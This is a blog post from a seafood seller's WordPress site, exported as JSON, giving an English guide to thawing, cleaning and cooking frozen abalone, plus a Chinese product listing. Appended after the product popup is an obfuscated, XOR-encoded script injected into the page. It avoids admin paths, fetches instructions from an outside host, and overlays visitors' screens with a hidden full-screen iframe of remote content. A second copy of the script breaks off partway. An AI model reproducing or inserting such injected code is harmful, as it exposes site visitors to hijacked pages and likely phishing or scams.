{"id":3398,"date":"2025-11-20T12:26:51","date_gmt":"2025-11-20T04:26:51","guid":{"rendered":"https:\/\/www.lianhung.com.tw\/?p=3398"},"modified":"2026-05-23T05:23:41","modified_gmt":"2026-05-22T21:23:41","slug":"%e9%ae%91%e9%ad%9a%e5%85%a8%e6%94%bb%e7%95%a5%ef%bc%9a%e7%a8%ae%e9%a1%9e%e3%80%81%e9%81%b8%e8%b3%bc%e3%80%81%e7%87%9f%e9%a4%8a%e8%88%87%e7%83%b9%e8%aa%bf%e6%8c%87%e5%8d%97","status":"publish","type":"post","link":"https:\/\/www.lianhung.com.tw\/en\/%e9%ae%91%e9%ad%9a%e5%85%a8%e6%94%bb%e7%95%a5%ef%bc%9a%e7%a8%ae%e9%a1%9e%e3%80%81%e9%81%b8%e8%b3%bc%e3%80%81%e7%87%9f%e9%a4%8a%e8%88%87%e7%83%b9%e8%aa%bf%e6%8c%87%e5%8d%97\/","title":{"rendered":"Essential New Year Dishes - Perfect Handling Guide for Frozen Abalone, Lock in Freshness and Sweetness Without Waste | Lazy Guide to Abalone Dishes"},"content":{"rendered":"<div data-page-id=\"QHysfiNZBdOE26caLuQcqZK7nad\" data-lark-html-role=\"root\" data-docx-has-block-data=\"true\">\n<div class=\"ace-line ace-line old-record-id-XEXvfGU7bdhQWgcPhPachO40nKc\">Abalone has always been a \"seafood noble\" on the dining table, with its springy texture and unique umami flavor that is hard to resist. Many people wonder if frozen abalone is delicious. In fact, as long as it is handled properly, the texture of frozen abalone is no worse than that of fresh ones. Moreover, due to the convenience of preservation and more favorable prices, frozen abalone has become a choice for many families. It can be used in both homemade abalone dishes and as a must-have in New Year's Eve meals. However, many people often encounter problems such as loose meat texture and loss of umami after thawing when handling frozen abalone. In fact, the key lies in mastering the correct processing steps, such as how to thaw frozen abalone, which is the first thing to learn. Every step from thawing to pre-treatment has its own techniques. By learning these, you can easily make frozen abalone reach restaurant-level standards. Whether it's making frozen abalone stew or frying and grilling, it can be cooked to be delicious.<\/div>\n<\/div>\n<div><\/div>\n<div><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-3432\" src=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923019_SwoHO7.png\" alt=\"\" width=\"730\" height=\"400\" srcset=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923019_SwoHO7.png 730w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923019_SwoHO7-300x164.png 300w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923019_SwoHO7-18x10.png 18w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923019_SwoHO7-400x219.png 400w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923019_SwoHO7-600x329.png 600w\" sizes=\"(max-width: 730px) 100vw, 730px\" \/><\/div>\n<div data-page-id=\"QHysfiNZBdOE26caLuQcqZK7nad\" data-lark-html-role=\"root\" data-docx-has-block-data=\"true\">\n<h3 class=\"heading-2 ace-line old-record-id-BtQafhAXNdDk99cAaBScwhp1nd2\">Step 1: Thawing \u2013 How to defrost frozen abalone? The core that determines freshness and texture<\/h3>\n<div class=\"ace-line ace-line old-record-id-YTCffTsVAdEvbdcmWjTcw8Wknmd\">Thawing is the first threshold in the processing of frozen abalone. Incorrect thawing methods will directly damage the muscle tissue of abalone, leading to moisture loss and a dry, tough texture. Here are two of the most scientific thawing methods, which can be flexibly chosen according to the cooking time.<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-VhUgfazmPdtK24cwvM0cBWwmnwd\">Refrigerated thawing (recommended, best for retaining freshness)<\/h4>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-3433\" src=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923074_CjQW5A.png\" alt=\"\" width=\"694\" height=\"392\" srcset=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923074_CjQW5A.png 694w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923074_CjQW5A-300x169.png 300w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923074_CjQW5A-18x10.png 18w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923074_CjQW5A-400x226.png 400w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923074_CjQW5A-600x339.png 600w\" sizes=\"(max-width: 694px) 100vw, 694px\" \/><\/p>\n<div class=\"ace-line ace-line old-record-id-DUw2f27oPdvT37ch0U1c9nMYnKc\">This is the gentlest thawing method, which can maximize the retention of abalone's nutrients and freshness. It is applicable to both large and small abalones. Take the frozen abalones out of the freezer in advance, put them into a fresh-keeping box or fresh-keeping bag and seal them (to avoid absorbing water and cross-flavor), then put them into the refrigerator. The thawing time varies according to the size of the abalones. Generally, small-sized abalones (each less than 50 grams) need 4-6 hours, while medium and large abalones (each more than 100 grams) need 8-12 hours. It is recommended to prepare them one day in advance. Thawed abalones feel soft but elastic, with no ice residue left. At this time, the meat quality is closest to the fresh state, and it is suitable for both steaming and frying. If it is a sashimi-grade abalone, this thawing method is more recommended to ensure food safety and taste.<\/div>\n<div><\/div>\n<h4 class=\"heading-3 ace-line old-record-id-RxxzfazEddPpffcsYeSc6mwyn3g\">Cold water thawing (quick, suitable for temporary cooking)<\/h4>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-3434\" src=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923113_wSbCJP.png\" alt=\"\" width=\"743\" height=\"402\" srcset=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923113_wSbCJP.png 743w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923113_wSbCJP-300x162.png 300w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923113_wSbCJP-18x10.png 18w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923113_wSbCJP-400x216.png 400w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923113_wSbCJP-600x325.png 600w\" sizes=\"(max-width: 743px) 100vw, 743px\" \/><\/p>\n<div class=\"ace-line ace-line old-record-id-WBEnfEZqAdSGG1cfObkcrIg6nsg\">If time is tight, you can use the cold water thawing method, but never use hot water or leave it at room temperature. This is a quick way to thaw frozen abalone. Put the frozen abalone in a sealed fresh-keeping bag, squeeze out the excess air, and make sure the bag is tightly sealed to prevent water leakage. Especially for purchased vacuum-packed abalone products, they can be thawed directly if the packaging is intact. Prepare a basin of room-temperature cold water (water temperature not exceeding 20\u00b0C), put the fresh-keeping bag into the water, and if there are many abalones, you can turn them appropriately to allow the water to make even contact. Change the cold water every 30 minutes to prevent the water temperature from rising and causing bacteria to grow. Small abalones can be thawed in about 1 hour, while medium and large abalones take 2-3 hours. This method thaws quickly, but it should be noted that the abalones must be sealed throughout the process to prevent them from absorbing water and becoming bland, which will affect the flavor effect of the subsequent cooking methods for frozen abalones.<\/div>\n<div class=\"zoneType-calloutBlock old-record-id-T7RhfN296dAVRBcoGEEcbGcDnKg\">\n<div class=\"callout-container\" data-emoji-id=\"bulb\">\n<div class=\"callout-block\">\n<div class=\"ace-line ace-line old-record-id-V4L5f55g8doyBZcMMrucgafxnhd\">Note: Do not defrost abalone in a microwave oven! Whether it is cooked and frozen abalone or raw and frozen abalone, the uneven heating of the microwave oven will cause partial meat to be precooked. The outer layer becomes tough while there are still ice cubes inside, which seriously affects the taste. It will be difficult to remedy no matter how you cook the frozen abalone afterwards.<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div><\/div>\n<div data-page-id=\"QHysfiNZBdOE26caLuQcqZK7nad\" data-lark-html-role=\"root\" data-docx-has-block-data=\"true\">\n<h3 class=\"heading-2 ace-line old-record-id-YsSWfServdmxxucysY7cVMuCnPd\">Step 2: Cleaning and Removing Impurities \u2013 Cleaner and More Hygienic for Greater Peace of Mind, the Foundation of Frozen Abalone Dishes<\/h3>\n<div class=\"ace-line ace-line old-record-id-JrzWfYfZhdQVcScyyzqcPOgjnTg\">After thawing is completed, proceed to the cleaning step. The key is to remove impurities, internal organs, and mucus from the surface of the abalone while avoiding damage to the tender meat.<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-CN0WfdeSxd1zcectfxgcodSEnSc\">Surface treatment: Remove impurities from the shell<\/h4>\n<div class=\"ace-line ace-line old-record-id-ALUmfHRKcdVSTCc8UmZcvPkknIe\">The surface of the abalone shell may be attached with sea mud, algae, or shell debris. First, use a soft-bristled brush (such as a toothbrush) dipped in clean water to gently scrub the shell, especially the gaps at the screw mouth, to ensure that the dirt is thoroughly cleaned. If there are stubborn stains on the shell, a small amount of edible salt can be added to increase friction. After scrubbing, rinse it clean with water.<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-W2zUfT49pdjp73cv0p4c0s9rnQc\">Separate the meat from the shell: Take out the complete abalone meat<\/h4>\n<div class=\"ace-line ace-line old-record-id-QMnxfcTXgdyjgbcYbw3cN6AbnDc\">Take a small knife or table knife, insert it into the snail mouth of the abalone, and cut a circle along the inner wall of the shell to sever the muscle that connects the abalone meat to the shell (commonly known as the \"shell-adhering muscle\"). Then, hold the shell with your hand and gently take the abalone meat out of the shell. Be careful to move gently to avoid tearing the meat, especially when preparing abalone slices or abalone cuts, as it is even more important to keep the meat intact. The tail of the taken-out abalone meat will be connected to a green visceral mass and yellow paste. This part needs to be handled according to requirements. Whether it is sea-farmed abalone or imported abalone (from Japan\/Chile\/China\/Korea), the way of handling the viscera is basically the same.<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-IlzZfBlKndQsZocdE8Xc2qNYnGf\">Viscera processing: Identify edible parts<\/h4>\n<div class=\"ace-line ace-line old-record-id-NYpEfx7fqdvFzZcB9rhc5ujCnQd\">In the visceral mass of abalone, the green liver part has a slightly bitter taste and may accumulate impurities, so it is recommended to remove it; while the yellow paste (commonly known as \"abalone roe\") is rich in nutrients, has a delicious taste, and can be retained for consumption. There is no difference in the handling between wild abalone and farmed abalone in this regard. When processing, use scissors to cut off the visceral mass at the tail, turn the abalone meat over, and rinse the surface mucus and residual viscera with running water. If there is a lot of mucus, you can add a small amount of white vinegar or flour to rub and wash, then rinse thoroughly with clean water to avoid any peculiar smell and ensure that the texture of frozen abalone dishes is not affected.<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-EZPxfdkc6dq96GcoIIlcb1ZNnXe\">Remove the mouth and byssus<\/h4>\n<div class=\"ace-line ace-line old-record-id-RSF8fSCKXd51yIcOA5NcOewBnSd\">There is a hard \"mouth\" (radula) at the front end of the abalone meat, which has a rough texture and is inedible, so it should be dug out with a small knife. At the same time, check if there are small byssus on the surface of the abalone meat, clean them thoroughly by hand or with a brush to ensure the meat is clean.<\/div>\n<div><\/div>\n<h3 class=\"heading-2 ace-line old-record-id-Q93tfHKnyddey0cbelEcNot2ncN\">Step 3: Preprocessing - Enhancing Taste and Flavor Absorption, the Key to Frozen Abalone Cooking Tutorials<\/h3>\n<div class=\"ace-line ace-line old-record-id-XsXXfliWFdPKeKcaQ4BcZxGhnVh\">The cleaned abalone meat still needs simple pre-treatment, which can not only make the meat more springy and tender, but also help it absorb flavors better during subsequent cooking.<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-O9O9fgz3TdmInEcOcZqcxkz2nae\">1.Cutting: making cuts or slicing<\/h4>\n<div class=\"ace-line ace-line old-record-id-XzJ4fbZTsdVvtdc2gN5ccd6lncf\">Choosing the appropriate cutting method based on the cooking method is an important part of how to cook frozen abalone. If it is to be stewed or braised, you can diagonally score a checkerboard pattern on the surface of the abalone meat, with the depth reaching 2\/3 of the meat, but not cutting through it. This not only makes it look nice but also allows the seasoning sauce to fully penetrate. For example, when preparing abalone dishes for New Year's meals, such treatment can make the dishes more exquisite. If it is to be pan-fried, stir-fried, or used as sashimi, the abalone meat can be cut crosswise into thin slices, that is, abalone slices. When slicing, it should be cut against the grain of the meat, which can effectively break down the muscle fibers and make the texture more tender. It is excellent for use in abalone rice bowl recipes.<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-HpFYf1KR6dOnBPcdJJ5cbig6ngc\">2. Blanching: Remove fishy odor and lock in freshness<\/h4>\n<div class=\"ace-line ace-line old-record-id-C562fxSuYdeo3LcxWYdcrR5bnCc\">Except for the sashimi preparation method, it is recommended to blanch abalone first before most cooking processes, as this is a basic step in steaming or boiling abalone. Bring water to a boil in a pot, add ginger slices, scallion sections, and a small amount of cooking wine, then put in the abalone meat. Cook over high heat for 1-2 minutes. Once the surface of the abalone meat changes color and shrinks slightly, immediately take it out and soak it in ice water for a while. Blanching can remove the fishy smell of abalone, and soaking in ice water can make the meat firmer and more chewy. This step must not be skipped, as it can improve the texture whether it is for making soup with frozen abalone or other cooking methods using frozen abalone.<\/div>\n<div><\/div>\n<h3 class=\"heading-2 ace-line old-record-id-GDQPfnXLVdYe3QckDyBc3SQPnOg\">Step 4: Cooking Tips - Recommended Methods for Frozen Abalone Dishes to Enhance the Flavor of Abalone<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3435\" src=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923152_kzsoSO.png\" alt=\"\" width=\"671\" height=\"443\" srcset=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923152_kzsoSO.png 671w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923152_kzsoSO-300x198.png 300w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923152_kzsoSO-18x12.png 18w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923152_kzsoSO-400x264.png 400w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2025\/11\/my_prefix_1764923152_kzsoSO-600x396.png 600w\" sizes=\"(max-width: 671px) 100vw, 671px\" \/><\/p>\n<div class=\"ace-line ace-line old-record-id-ASjHfovZTdupmCcP42Wcg9otnIb\">For processed abalones, you can choose various cooking methods according to your preferences. Here are some practical tips from frozen abalone recipes to make the abalone taste even better, which are applicable to both simple abalone dishes and exquisite New Year's dishes:<\/div>\n<ul class=\"list-bullet1\">\n<li class=\"ace-line ace-line old-record-id-PzeRfeWUbdvVfgcnUUacoLSwn3c\" data-list=\"bullet\">\n<div>When stewing, you can clean the abalone shells and place them at the bottom of the pot. This not only enhances the umami flavor but also prevents the abalone meat from sticking to the pot.<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-Jd12fHxqud0LZncU8ZIc6P1JnUb\" data-list=\"bullet\">\n<div>When pan-frying abalone, first heat the pan, then add oil. Put the abalone in and fry slowly over medium-low heat. Flip it over when the surface is slightly browned to prevent the meat from falling apart.<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-BZSHf5cjAdZXm7c9iBScPK8fnhe\" data-list=\"bullet\">\n<div>When seasoning, you can use seasonings such as light soy sauce, oyster sauce, and rock sugar to highlight the freshness of abalone. Avoid using overly strong-tasting seasonings that might mask its natural flavor.<\/div>\n<\/li>\n<\/ul>\n<h3><\/h3>\n<h3 class=\"heading-2 ace-line old-record-id-WRoJfUxXIdLzMlcxh8ucClWnnZ7\"><a href=\"https:\/\/www.lianhung.com.tw\/en\/product\/1718\/\">Frozen Abalone Storage Methods and Purchasing Guide<\/a><\/h3>\n<div class=\"ace-line ace-line old-record-id-Y3JUfS7C2dZ0YKcHl1PcbbWTnDc\">If you can't finish processing them all at once, you can refer to the following methods for storing frozen abalone: Clean the abalone meat, divide it into portions, seal each portion in a plastic bag, squeeze out the air, label the date, and then put it in the freezer. It can be stored for 3-6 months. When thawing again, repeat the above correct method. Avoid repeated thawing and freezing, as this may deteriorate the texture of the meat. In terms of purchasing, where to buy frozen abalone? Now, buying abalone online is very convenient, and you can also refer to frozen abalone reviews and unboxing content to make a selection. If you have a large demand, group buying or wholesale of frozen abalone is more cost-effective. When purchasing, you can pay attention to the price of frozen abalone and compare frozen abalone prices to choose products with high cost performance. In addition, the abalone home delivery service is mature. Whether it's a single product, an abalone gift box, or an abalone New Year's dish combination, they can be delivered to your door. Some merchants also provide abalone cooking kits, making cooking more hassle-free.<\/div>\n<div class=\"ace-line ace-line old-record-id-O4VXf6CwwdwRqbcdkJwczx0nnid\">Mastering the above steps, frozen abalones can also be eaten with the springy tenderness and freshness of fresh ones. From the patient waiting required for thawing frozen abalones to the careful handling during cleaning, every detail embodies an attitude towards delicious food. Whether you choose imported abalones (from Japan\/Chile\/China\/Korea) or local products, whether they are pre-cooked frozen abalones or raw frozen abalones, these tips are universally applicable. It is recommended to handle frozen abalones in this way. Next time you get frozen abalones through abalone seafood home delivery or online purchase, you might as well try following this guide to easily serve this delicious seafood on your own dining table.<\/div>\n<\/div>\n<div><\/div>\n<div><\/div>\n<h4><strong>Lian Ruey-Frozen Seasoned Abalone<\/strong><\/h4>\n<p style=\"text-align: center;\"><div class=\"woocommerce\"><ul class=\"products columns-4\" data-products=\"type-2\">\n<li class=\"product type-product post-1718 status-publish first instock product_cat-sushi-topping product_tag-frozen-seasoned-abalone product_tag-gunkan-sushi-topping product_tag-topping product_tag-348 product_tag-351 product_tag-350 product_tag-352 product_tag-349 product_tag-214 product_tag-355 product_tag-121 product_tag-123 product_tag-325 product_tag-353 product_tag-354 has-post-thumbnail shipping-taxable purchasable product-type-simple\">\n\t<a href=\"https:\/\/www.lianhung.com.tw\/en\/product\/1718\/\" class=\"woocommerce-LoopProduct-link woocommerce-loop-product__link\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"300\" src=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2023\/08\/my_prefix_1763605252_xaUH8W-300x300.png\" class=\"attachment-woocommerce_thumbnail size-woocommerce_thumbnail\" alt=\"\u91ac\u716e\u9b91\u9b5a\" srcset=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2023\/08\/my_prefix_1763605252_xaUH8W-300x300.png 300w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2023\/08\/my_prefix_1763605252_xaUH8W-150x150.png 150w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2023\/08\/my_prefix_1763605252_xaUH8W-12x12.png 12w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2023\/08\/my_prefix_1763605252_xaUH8W-100x100.png 100w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2023\/08\/my_prefix_1763605252_xaUH8W.png 400w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><h2 class=\"woocommerce-loop-product__title\">Lian Ruey-Frozen Seasoned Abalone<\/h2>\n\t<span class=\"price\"><span class=\"woocommerce-Price-amount amount\"><bdi><span class=\"woocommerce-Price-currencySymbol\">&#78;&#84;&#36;<\/span>99,999<\/bdi><\/span><\/span>\n<\/a><a href=\"?add-to-cart=1718\" aria-describedby=\"woocommerce_loop_add_to_cart_link_describedby_1718\" data-quantity=\"1\" class=\"button product_type_simple add_to_cart_button ajax_add_to_cart\" data-product_id=\"1718\" data-product_sku=\"\" aria-label=\"Add to cart: \u201c\u91ac\u716e\u9b91\u9b5a\u201d\" rel=\"nofollow\" data-success_message=\"\u201c\u91ac\u716e\u9b91\u9b5a\u201d has been added to your cart\" data-no-translation=\"\" data-trp-gettext=\"\" data-no-translation-aria-label=\"\" data-no-translation-data-success_message=\"\">Add to cart<\/a>\t<span id=\"woocommerce_loop_add_to_cart_link_describedby_1718\" class=\"screen-reader-text\">\n\t\t\t<\/span>\n<\/li>\n<\/ul>\n<\/div><\/p>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u5bb4\u5e2d\u7b49\u7d1a\u30fb\u5373\u98df\u514d\u716e\u30fb\u7a69\u5b9a\u4f9b\u61c9<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u56b4\u9078\u9ad8\u54c1\u8cea\u990a\u6b96\u9b91\u9b5a\uff0c\u9bae\u751c\u8207\u5f48\u7259\u53e3\u611f\uff0c\u4ee5\u6025\u901f\u51b7\u51cd\u6280\u8853\u9396\u4f4f\u7121\u8165\u5473\u3001\u54c1\u8cea\u512a\u3002\u4ee5\u65e5\u5f0f\u7518\u53e3\u91ac\u6cb9\u70ba\u57fa\u5e95\uff0c\u642d\u914d\u53f0\u7063\u849c\u982d\u3001\u8591\u53ca\u8fa3\u6912\u6162\u706b\u71c9\u716e\uff0c\u5448\u73fe\u9e79\u751c\u5e73\u8861\u3001\u9999\u6c23\u6fc3\u90c1\u7684\u7d93\u5178\u98a8\u5473\u3002<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u89e3\u51cd\u5373\u98df\uff0c\u7121\u9700\u984d\u5916\u8abf\u5473\u5373\u53ef\u4e0a\u684c\uff0c\u5927\u5e45\u7bc0\u7701\u5099\u6599\u8207\u70f9\u8abf\u6642\u9593\u3002<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u7121\u8ad6\u51b7\u76e4\u3001\u5408\u83dc\u3001\u4fbf\u7576\u3001\u5e74\u83dc\u7d44\u5408\u7686\u9069\u7528\uff0c\u662f\u9910\u5ef3\u3001\u4e2d\u592e\u5eda\u623f\u8207\u5bb4\u5e2d\u696d\u8005\u7684\u9ad8\u5be6\u7528\u6027\u9078\u9805\u3002<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u7522\u54c1\u7279\u8272\uff1a<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u54c1\u8cea\u7a69\u5b9a\uff0c\u9069\u5408\u5bb6\u5ead\u3001\u9910\u5ef3\u3001\u5bb4\u5e2d\u4f7f\u7528<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u7701\u6642\u9ad8\u6548\u7387\uff1a\u5b8c\u5168\u719f\u98df\uff0c\u89e3\u51cd\u5373\u53ef\u4f7f\u7528<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u98a8\u5473\u6fc3\u90c1\u8010\u5b58\u653e\uff1a\u91ac\u6c41\u7518\u9187\u3001\u5165\u5473\u4e00\u81f4<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u7528\u9014\u591a\u5143\uff1a\u51b7\u76e4\u3001\u5e74\u83dc\u3001\u5bb4\u5e2d\u5408\u83dc\u7686\u53ef\u5feb\u901f\u51fa\u9910<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u6210\u5206\uff1a<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u9b91\u9b5a\u3001\u6c34\u3001\u9c39\u9b5a\u91ac\u6cb9\u3001\u58fa\u5e95\u6cb9\u3001\u51b0\u7cd6\u3001\u849c\u982d\u3001\u8591\u3001\u8fa3\u6912\u3001\u7c73\u9152\u982d<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u898f\u683c\u8207\u4fdd\u5b58<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u5bb9\u91cf\uff1a800g\uff0f\u5305\uff08\u56fa\u5f62\u7269 430g\u3001\u91ac\u6c41 370g\uff09<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u5305\u88dd\uff1a29-31\u9846\u5165<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u5916\u7bb1\uff1a15 \u5305\uff0f\u7bb1<\/div>\n<\/div>\n<div class=\"x14z9mp xat24cr x1lziwak x1vvkbs xtlvy1s x126k92a\">\n<div dir=\"auto\">\u4fdd\u5b58\u65b9\u5f0f\uff1a\u51b7\u51cd -18\u00b0C \u4ee5\u4e0b<\/div>\n<\/div>\n<p>\n    <div id=\"scroll-product-popup\" class=\"scroll-product-popup\">\n        <a href=\"https:\/\/www.lianhung.com.tw\/en\/product\/1718\/\">\n            <img decoding=\"async\" src=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2023\/08\/my_prefix_1763605252_xaUH8W-150x150.png\" \/>\n        <\/a>\n\n        <div class=\"popup-info\">\n            <a href=\"https:\/\/www.lianhung.com.tw\/en\/product\/1718\/\">\n                Lian Ruey-Frozen Seasoned Abalone            <\/a>\n        <\/div>\n\n        <div class=\"popup-close\">\u00d7<\/div>\n    <\/div>\n\n    <script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var 